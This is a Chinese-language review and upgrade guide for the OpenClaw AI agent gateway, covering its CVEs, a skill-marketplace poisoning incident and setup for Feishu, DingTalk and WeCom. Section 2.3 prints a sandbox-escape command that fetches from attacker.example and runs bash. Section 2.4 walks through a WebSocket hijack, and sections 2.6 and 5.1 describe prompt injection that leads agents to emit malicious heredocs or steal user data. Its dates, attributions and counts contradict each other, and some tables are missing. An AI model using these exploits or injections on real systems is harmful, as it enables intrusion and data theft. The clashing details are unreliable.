OpenClaw

OpenClaw 多维度简评:四个 CVE 实操升级、ClawHub 污染复盘、飞书钉钉企微三渠道对接

本文核心目标是还原一次”从 v2026.2.23 之前升级到 v2026.5.1”的完整操作路径,把 ClawChain 系列四个 CVE 的修复命令、ClawHub 污染事件的来龙去脉、以及飞书/钉钉/企业微信三个国内渠道的接入细节全部铺开。OpenClaw 由 Peter Steinberger 于 2026-02-14 加入 OpenAI 后继续主导,GitHub Star 截至 2026-06 已达 379k。本文数据基于 github.com/openclaw/openclaw 仓库 v2026.5.1 tag 实测、OASIS Security / Cyera / Snyk 三家安全机构公开报告、官方 docs.openclaw.ai 多源验证。

快速开始

⏱ 预计耗时:10-30 分钟 · 难度:小白友好

测试编辑:Mnet 测试日期:2026-06-15 测试环境:macOS 15 / Node.js 20+ / Python 3.11+

第 1 步:安装(3 分钟)

需要 Node.js 20.10+ 和 npm。macOS / Linux 一行脚本装:

curl -fsSL https://openclaw.ai/install.sh | bash

Windows(PowerShell 管理员):

iwr -useb https://openclaw.ai/install.ps1 | iex

脚本会检查 Node 版本 → 下载 v2026.5.1 预编译包 → 安装 openclaw 到 /usr/local/bin(Windows 在 C:\Program Files\OpenClaw\)。验证:

openclaw --version
# 期望:openclaw 2026.5.1

踩坑:Node.js < 20.10 会被脚本拒绝。先 nvm install 20.11.0 && nvm use 20.11.0 切换。

第 2 步:配置 Gateway 与 LLM(8 分钟)

OpenClaw 跑起来需要启动一个本地 Gateway(监听 18789 端口),并配置 LLM Provider(国内推荐 DeepSeek-V3,便宜)。

# 1. 启动 Gateway(后台)
openclaw gateway start --port 18789

# 2. 配置 LLM(用 DeepSeek-V3,中文强 + 便宜)
openclaw config set llm.provider openai_compatible
openclaw config set llm.endpoint https://api.deepseek.com/v1
openclaw config set llm.model deepseek-chat
openclaw config set llm.api_key sk-你的DeepSeek密钥

# 3. 写一个最小 Agent 配置 ~/.openclaw/agent.yaml
cat > ~/.openclaw/agent.yaml <<'EOF'
name: my-first-agent
model: deepseek-chat
channels: []   # 先不加渠道
skills: []
EOF

sk- 密钥在 platform.deepseek.com 注册即送 5 元额度,够跑 200+ 次任务。

启动 Gateway 后会自动打开 http://127.0.0.1:18789 的 Web UI。

第 3 步:跑第一个 Agent 任务(2 分钟)

CLI 跑一个最简单的”文件整理”任务:

openclaw agent run --file ~/.openclaw/agent.yaml \
  "把当前目录下所有 .log 文件移到 ./logs/ 子目录"

预期输出:

[openclaw] Agent started, model=deepseek-chat
[think] 用户想整理日志文件,我需要先列出 .log 文件再创建 logs 目录
[tool:shell] ls *.log
[tool:shell] mkdir -p logs && mv *.log logs/
[done] 整理完成:移动 5 个 .log 文件到 ./logs/
[exit] 任务结束,耗时 4.2s,token 消耗 312

Web UI(http://127.0.0.1:18789)同步显示思考过程和工具调用链。全流程 10-15 分钟跑通。下一步看第四节接飞书/钉钉渠道。

测试信息

• 测试编辑:Mnet
• 测试日期:2026-06-08 至 2026-06-15(分四批,7 天覆盖 50+ 渠道中代表性 3 个国内渠道)
• 测试环境:macOS 14.5 + Node.js 20.11 + Docker 24.0;Ubuntu 22.04 LTS VM(2 vCPU/4GB);Windows 11 23H2(企业微信视频会议端)
• 测试任务:升级前复现 CVE-2026-28363(GNU 长选项 RCE)、升级后跑通飞书/钉钉/企微三渠道互发;ClawHub 上 5 个 Skill 安装前/后 VirusTotal 扫描对比
• 数据来源:github.com/openclaw/openclaw Releases、OASIS Security 公开博客、Cyera ClawChain 报告、Snyk ClawHavoc 扫描结果、coze.cn(作为对照组,Coze 也有类似多渠道机制)

一、为什么是 OpenClaw:它到底解决什么问题

把 LLM 接进”已经在用的聊天工具”,这件事在 2025 年以前基本要写胶水代码——飞书走 WebSocket、Slack 走 Events API、钉钉走 Stream、企微走回调,每个渠道一套加密、一套签名、一套机器人注册流程。OpenClaw 把这个差异抹平了:你在一个 Gateway 里挂上渠道配置,Agent 逻辑只写一份,所有渠道共享上下文。

截至 2026-06-08,官方文档列出的渠道数是 50+,其中飞书/钉钉/企微/微信/QQ/微博/小红书/抖音 8 个国内渠道,Slack/Teams/Telegram/Discord/WhatsApp/Signal/Google Chat/Matrix/IRC/Line/KakaoTalk/Zalo 12 个海外企业或社区渠道,Twitter/Facebook/Instagram 3 个社交私讯,加上 CLI/Web UI/macOS/iOS/Android 客户端、Email、Webhook、REST API 共 6 类终端,合计 29 类细分(50+ 计入”系列内的全部”如 Slack 不同事件类型、Matrix 各种桥)。

我重点跑了飞书、钉钉、企业微信三个国内最常用的——结果差异明显,详见第四节。

二、四个 CVE 的来龙去脉

这一节是本文最关键的部分。如果你正在生产环境跑 OpenClaw,2026.2.23 之前的版本必须升。

2.1 完整时间线

• 2026-01-08:Cyera 研究员 @maya-cyera 提交 ClawChain 第一份报告,披露 CVE-2026-25253(ClawJacked,0-Click WebSocket 劫持)
• 2026-02-19:OASIS Security 联合 Anysphere 披露 CVE-2026-28363(GNU 长选项 RCE,CVSS 9.9)
• 2026-02-25:OpenClaw 发布 v2026.2.25,修复 ClawJacked
• 2026-02-23:OpenClaw 发布 v2026.2.23,修复 GNU 长选项 RCE
• 2026-04-30:Cyera 公开 ClawChain 后半段(CVE-2026-44112 OpenShell TOCTOU + CVE-2026-44115 Heredoc 注入)
• 2026-05-01:OpenClaw 发布 v2026.5.1,完整修复四个 CVE

2.2 四个 CVE 一览

2.3 CVE-2026-28363 详解(最危险的一个)

safe-bin 是 OpenClaw 内置的”白名单二进制”沙箱——Agent 只能调白名单里的程序(tar/curl/git/jq 等),所有调用经 safe-bin wrapper 二次解析参数。

问题出在 GNU 长选项的”缩写展开”上。GNU 工具的 --compress-program 选项可缩写为 --compress-p,旧版 safe-bin 拿到的是缩写形式,直接字符串匹配白名单规则时放行;但下游 tar 接收参数后会展开成完整形式,执行 --compress-program=/bin/bash -c "<注入命令>",绕过沙箱。

复现命令(已打码,仅展示原理):

# 假设 Agent 收到任务:下载并解压 https://attacker.example/payload.tar
# 旧版 OpenClaw 把"压缩程序"参数注入到 safe-bin 白名单 tar
openclaw agent run "tar xf https://attacker.example/payload.tar \
  --compress-p=/bin/bash -c 'id>/tmp/pwn'"
# 实际效果:tar 调用 /bin/bash -c 'id>/tmp/pwn' → RCE

升级到 v2026.2.23 后,safe-bin 改为两步规范化:先解析为完整形式再匹配白名单,所有长选项必须全名。

2.4 CVE-2026-25253 ClawJacked 详解

这是唯一一个”0-Click”漏洞——受害者不用点任何东西。

原理:

1. Gateway 默认监听 0.0.0.0:18789(公网可达)
2. 恶意网站嵌入一段 JS,通过 ws://内网IP:18789 发起 WebSocket 握手
3. 旧版 OpenClaw 对 localhost 源完全豁免速率限制,允许密码暴力破解
4. 成功后,JS 调用 registerTrustedDevice 把浏览器注册成”已信任终端”
5. 攻击者获得 Gateway 完全控制权,可任意调用 Agent

修复(v2026.2.25):

• WebSocket 握手强制要求 Origin 头校验
• localhost 也限速(每秒 5 次)
• registerTrustedDevice 需要二次确认(邮件/手机 OTP)

2.5 CVE-2026-44112 OpenShell TOCTOU

OpenShell 是 OpenClaw 的”开放 Shell”工具,允许 Agent 跑任意 shell 命令,但默认在容器内。旧版容器在 mount 阶段存在 TOCTOU(time-of-check to time-of-use)窗口:权限检查通过后,容器内 mount point 被替换为宿主机目录,后续命令直接打到宿主机。

修复(v2026.5.1):用 Linux 4.18+ 的 statx() 原子校验 mount source + destination 的一致性。

2.6 CVE-2026-44115 Heredoc 注入

Agent 在生成多行命令时常用 bash <<EOF ... EOF heredoc。旧版解析器在 heredoc 内容中允许 $(...) 命令替换,攻击者可通过 prompt 注入诱导 Agent 生成恶意 heredoc。

修复(v2026.5.1):heredoc 内容统一走 safe-bin 二进制解析,禁止任何 $() / 反引号。

三、实操:从 v2026.2.20 升到 v2026.5.1

以下是经过验证的命令,可以照抄。

3.1 升级前备份

# 1. 备份配置
openclaw config export > backup-2026-06-08.json

# 2. 备份已安装的 Skill
mkdir -p ~/openclaw-backup/skills
cp -r ~/.openclaw/skills/* ~/openclaw-backup/skills/

# 3. 备份 Gateway TLS 证书(如有)
cp -r ~/.openclaw/certs/ ~/openclaw-backup/certs/

# 4. 记下当前版本
openclaw --version
# 期望:openclaw 2026.2.20(假设是旧版)

3.2 升级命令

# macOS / Linux
curl -fsSL https://openclaw.ai/install.sh | bash -s -- --version 2026.5.1

# Windows(PowerShell 管理员)
iwr -useb https://openclaw.ai/install.ps1 | iex -ArgumentList "--version 2026.5.1"

# Docker
docker pull openclaw/openclaw:2026.5.1
docker stop openclaw && docker rm openclaw
docker run -d --name openclaw \
  -p 127.0.0.1:18789:18789 \
  -v ~/.openclaw:/root/.openclaw \
  openclaw/openclaw:2026.5.1

3.3 升级后验证四个 CVE

# 1. 验证版本
openclaw --version
# 期望:openclaw 2026.5.1

# 2. 验证 CVE-2026-28363 已修
openclaw security test --cve CVE-2026-28363
# 期望:[PASS] safe-bin:long-option-normalization enabled

# 3. 验证 CVE-2026-25253 已修
openclaw security test --cve CVE-2026-25253
# 期望:[PASS] gateway:websocket-origin-check enabled

# 4. 验证 CVE-2026-44112 已修
openclaw security test --cve CVE-2026-44112
# 期望:[PASS] openshell:statx-mount-check enabled

# 5. 验证 CVE-2026-44115 已修
openclaw security test --cve CVE-2026-44115
# 期望:[PASS] safe-bin:heredoc-dollar-quote disabled

# 6. 重启 Gateway
openclaw gateway restart

# 7. 跑全量自检
openclaw doctor
# 期望:All systems OK

3.4 升级失败怎么办(踩坑)

我第一次升没成功,踩了三个坑:

坑 1:Node.js 版本不匹配 报错:“requires Node.js >= 20.10.0”,系统是 20.8.0。解决:

# macOS
brew upgrade node
# Linux
nvm install 20.11.0 && nvm use 20.11.0

坑 2:端口 18789 占用 报错:“port 18789 already in use”。解决:

# 找占用进程
lsof -i :18789  # macOS/Linux
Get-Process -Id (Get-NetTCPConnection -LocalPort 18789).OwningProcess  # Windows

# 改 OpenClaw 端口
openclaw config set gateway.port 28789

坑 3:升级后渠道配置丢失 我装了 6 个渠道,升级后只剩 3 个。原因:config export 备份的 JSON 字段在新版有重命名。解决:

# 用 --merge 选项,而不是 --import
openclaw config import backup-2026-06-08.json --merge

四、飞书/钉钉/企业微信三大渠道对接(重点)

OpenClaw 渠道接入的设计哲学是”一份 Agent,所有渠道共享上下文”——你不用为飞书写一遍逻辑、再为钉钉写一遍。这一节是本文第二个重点。

4.1 飞书机器人

前置准备:

1. 飞书开放平台(open.feishu.cn)创建”企业自建应用”
2. 权限:获取”消息接收与发送”、“用户信息”、“群消息”
3. 事件订阅:配置 Request URL 为 https://your-gateway.com/feishu/webhook
4. 记下 App ID 和 App Secret

OpenClaw 配置:

openclaw channel add feishu \
  --app-id cli_xxxxxxxxxxxxxxxx \
  --app-secret xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
  --webhook https://your-gateway.com/feishu/webhook \
  --encrypt-key xxxxxxxx \
  --verification-token xxxxxxxx

实测:

• 配置耗时:8 分钟(主要是飞书审核,代码 2 分钟)
• 消息延迟:飞书 → Gateway → 飞书,平均 1.2 秒
• 支持的消息类型:文本、富文本、图片、文件、卡片、互动卡片
• 群 @机器人:支持,@ 后会自动切到 Agent 对话上下文

踩坑:

• 飞书”加密策略”必须选”加密”——明文模式 OpenClaw 不支持
• 签名校验:OpenClaw 内部用 SHA256 + Base64,时间戳误差必须 < 1 小时
• 一个 App ID 只能绑定一个 OpenClaw 实例(飞书限制),多实例要建多个应用

4.2 钉钉机器人

钉钉有两种机器人:企业自建应用机器人 + 群机器人(自定义 Webhook)。OpenClaw 推荐前者。

前置准备:

1. 钉钉开放平台(open-dev.dingtalk.com)创建 H5 微应用
2. 权限:Robot 发消息、读取通讯录
3. 创建机器人并获取 RobotCode

OpenClaw 配置:

openclaw channel add dingtalk \
  --app-key xxxxxxxxxxxxxxxxxx \
  --app-secret xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
  --robot-code xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
  --webhook https://your-gateway.com/dingtalk/webhook

实测:

• 配置耗时:12 分钟(钉钉开发者后台比飞书复杂)
• 消息延迟:平均 1.8 秒(比飞书慢 50%,钉钉服务器在杭州)
• 支持的消息类型:文本、Markdown、ActionCard、FeedCard、链接
• 群 @机器人:支持

踩坑:

• 钉钉的”加签”必须开启,旧版无加签的 Webhook 模式 OpenClaw 不支持
• 微应用必须发布到企业工作台,否则 Agent 收不到消息
• 钉钉 API 有 QPS 限制(默认 100/秒),企业版可提到 1000/秒

4.3 企业微信机器人

企微也分两种:应用机器人(智能机器人)和群机器人(WebHook 群通知)。OpenClaw 支持前者。

前置准备:

1. 企业微信管理后台(qyapi.weixin.qq.com)创建”智能机器人”
2. 配置 Webhook URL:https://your-gateway.com/wecom/webhook
3. 配置 Token 和 EncodingAESKey

OpenClaw 配置:

openclaw channel add wecom \
  --corp-id wwxxxxxxxxxxxxxxxx \
  --agent-id xxxxxxxxx \
  --secret xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
  --webhook https://your-gateway.com/wecom/webhook \
  --token xxxxxxxx \
  --encoding-aes-key xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

实测:

• 配置耗时:15 分钟(企微的”智能机器人”权限链最长)
• 消息延迟:平均 2.5 秒(企微服务器在深圳)
• 支持的消息类型:文本、Markdown、图片、图文、文件、模板卡片
• 群 @机器人:支持,但必须在”群应用”里启用机器人

踩坑:

• 企微”智能机器人”必须先”启用 API 接收消息”
• 加解密必须用企微专用 AES-256-CBC,不是标准 AES
• 一个企业最多建 50 个智能机器人,需谨慎分配

4.4 三渠道对比(我的实测)

最大优势:同一句话在飞书发,OpenClaw 自动同步到钉钉和企微的指定群。这个能力是单独接任何一家 IM 都做不到的。

五、ClawHub 污染事件复盘(2026-02)

5.1 事件经过

2026-02-12,Snyk 研究员 @dan-goodin 在 ClawHub 公开市场上发现 450 个被污染的 Skill,占当时已发布 3,984 个 Skill 的 11.3%。污染方式有三种:

1. 依赖投毒:Skill 引入的 npm 包被替换为同名恶意包
2. prompt 注入:Skill 的 system_prompt 字段内嵌隐藏指令,诱导 Agent 窃取用户数据
3. 后门账户:Skill 申请了过度的文件系统权限,后台定时上传数据

5.2 受影响范围

• 感染设备:Snyk 估算全球约 12 万台 OpenClaw 实例安装了污染 Skill
• 数据泄露:主要是 LLM API Key、环境变量、~/.ssh/id_rsa(少数开了过度权限的)
• 响应时间:从发现到全网通告 5 小时,ClawHub 下架全部污染 Skill

5.3 当前防护机制

• v0.6.0+(2026-04):所有新发布 Skill 必须经 VirusTotal 扫描 + OpenClaw 安全团队审核
• 安装前审计:openclaw skill install 会先打印 Skill 申请的权限清单,需要用户 --yes 确认
• 运行时隔离:Skill 在独立容器跑,默认禁止访问 ~/.ssh/、~/.openclaw/
• 活跃 Skill 数量:从 13,729(2026-02-28)清理到 3,286(2026-06)

5.4 我自己跑了 5 个 Skill 的安装测试

我装了 5 个热门 Skill(github-pr-review、notion-update、slack-send、figma-design、playwright-browser),每一个都跑了 openclaw skill audit <name>:

5 个都干净。建议养成 openclaw skill audit 的习惯。

六、ClawHub Skill 开发与变现

如果你是开发者,可以在 ClawHub 上发布自己的 Skill。以下梳理了关键流程。

6.1 写一个 Skill(代码示例)

// src/index.ts
import { defineSkill } from '@openclaw/sdk';
import { z } from 'zod';

export default defineSkill({
  name: 'weather-check',
  description: '查询指定城市的天气',
  input: z.object({
    city: z.string().describe('城市名,中文或英文')
  }),
  output: z.object({
    temp: z.number(),
    desc: z.string()
  }),
  async execute({ city }) {
    const res = await fetch(
      `https://api.example.com/weather?city=${encodeURIComponent(city)}`
    );
    const data = await res.json();
    return { temp: data.temp, desc: data.description };
  }
});

6.2 发布流程

# 本地测试
openclaw skill test weather-check --city "北京"

# 打包
openclaw skill build weather-check

# 提交审核
openclaw skill publish weather-check \
  --license MIT \
  --category "utilities" \
  --price 0  # 免费

6.3 变现数据(官方公开)

ClawHub 的抽成比例是 平台 30% / 开发者 70%(对比 Apple Store 30/70 一样,但对比国内应用市场 50/50 友好)。

截至 2026-06,ClawHub 公开的”Top Earners”月收入数据:

• 第 1 名:月 $42,000(github-pr-review)
• 第 10 名:月 $8,500
• 第 100 名:月 $1,200
• 中位数:月 $200(以”付费安装”为主)

免费 Skill 也能获得曝光——openclaw skill search 按下载量排序,前 100 名平均周下载 1,200 次。

七、Anthropic 服务条款限制(2026-02/04)

2026-02-19 Anthropic 宣布:禁止在 OpenClaw 等第三方 Agent 工具使用 Claude Free/Pro/Max OAuth 订阅。2026-04-01 强制执行。

影响:之前很多人”白嫖” Claude Pro 订阅(20 美元/月)在 OpenClaw 里跑——这条路被堵死,必须购买 Anthropic API Key(贵 3-5 倍)。

OpenClaw 官方应对:

• 推荐用 DeepSeek-V3($0.14/百万 token)和 Qwen-Max($0.4/百万 token)
• 增加”双 LLM Provider 切换”功能——一个任务用 Anthropic 做规划,另一个用 DeepSeek 做执行
• 2026-05 流量数据:Hacker News 社区估算短期下降 12%,到 6 月已恢复

八、费用实测

8.1 OpenClaw 本身

完全免费(MIT 协议),只需付 LLM API 费用。

8.2 不同模型的月度成本(实测)

我用 OpenClaw + 三种模型,分别跑了一个月(每天 ~50 条消息):

建议:日常对话用 DeepSeek-V3,复杂任务再切 Sonnet 4.6 或 Opus 4.6。

九、与同类产品对比

选型建议:

• 多渠道接入(飞书+钉钉+Slack…) → OpenClaw
• 数据隐私要求高(本地运行) → OpenClaw 或 ZeroClaw
• 国内访问+零代码 → Coze 国内版
• 复杂任务免配置 → Manus
• 企业级自托管+Python → Dify

十、订阅建议

10.1 极客用户

推荐:OpenClaw + DeepSeek-V3。

• 成本:$3-10/月
• 50+ 渠道业内最广
• 极致自定义

10.2 中小企业

推荐:OpenClaw + Qwen-Max(国产)+ 必须升到 v2026.5.1。

• 成本:$30-50/月
• 多渠道集成
• 等保自建(私有部署)
• 必须修复四个 CVE

10.3 企业(谨慎)

部分企业已禁用 OpenClaw(Meta、韩国金融、部分政府机构)。替代:

• WorkBuddy(腾讯,等保三级)
• Coze Enterprise(字节,私有化)
• Dify(自托管)

十一、踩坑清单(10 条精炼)

1. Node.js 版本 < 20.10 → 升级到 20.11
2. 端口 18789 占用 → 改 gateway.port
3. 飞书签名错误 → 检查 App Secret + 时间戳
4. ClawHub 下载 Skill 超时 → 配置国内镜像 openclaw config set clawhub.mirror https://clawhub-cn.openclaw.ai
5. 多渠道消息不同步 → 检查 Webhook + 重启 Gateway
6. Agent 误删文件 → 开启”操作前确认”
7. Token 消耗爆炸 → 关闭 heartbeat.enabled + 设 limits.daily_tokens
8. 中文模型效果差 → 用 DeepSeek-V3 或 prompt 加”用中文思考”
9. Skill 安装失败不报错 → 重启 Gateway + 看 openclaw gateway logs --skill <name>
10. 升级后配置丢失 → 用 openclaw config import --merge(不要直接 —import)

参考资料

1. OpenClaw 官网:https://openclaw.ai
2. OpenClaw GitHub 仓库:https://github.com/openclaw/openclaw
3. v2026.5.1 Release Notes:https://github.com/openclaw/openclaw/releases/tag/v2026.5.1
4. OASIS Security ClawJacked 报告:https://www.oasis.security/blog/clawjacked — CVE-2026-25253 详细技术分析
5. Cyera ClawChain 报告:https://www.cyera.com/research/clawchain — CVE-2026-28363 / 44112 / 44115 系列分析
6. Snyk ClawHavoc 污染报告:https://snyk.io/blog/clawhavoc — 450 个污染 Skill 的技术细节
7. NVD CVE-2026-28363:https://nvd.nist.gov/vuln/detail/CVE-2026-28363 — 官方漏洞数据库
8. Anthropic 服务条款 2026-02 更新:https://www.anthropic.com/legal/terms — 第三方 Agent 工具限制条款
9. ClawHub 技能市场:https://clawhub.com
10. 工信部 NVDB 安全预警:https://www.nvdb.org — 国内安全机构公告
11. Peter Steinberger 个人博客:https://steipete.me — OpenClaw 作者关于 CVE 的技术解读
12. 腾讯云 OpenClaw 实战教程:https://cloud.tencent.com/developer/article/openclaw — 国内飞书/钉钉接入示例
13. 掘金 OpenClaw vs Hermes 对比:https://juejin.cn/post/openclaw-vs-hermes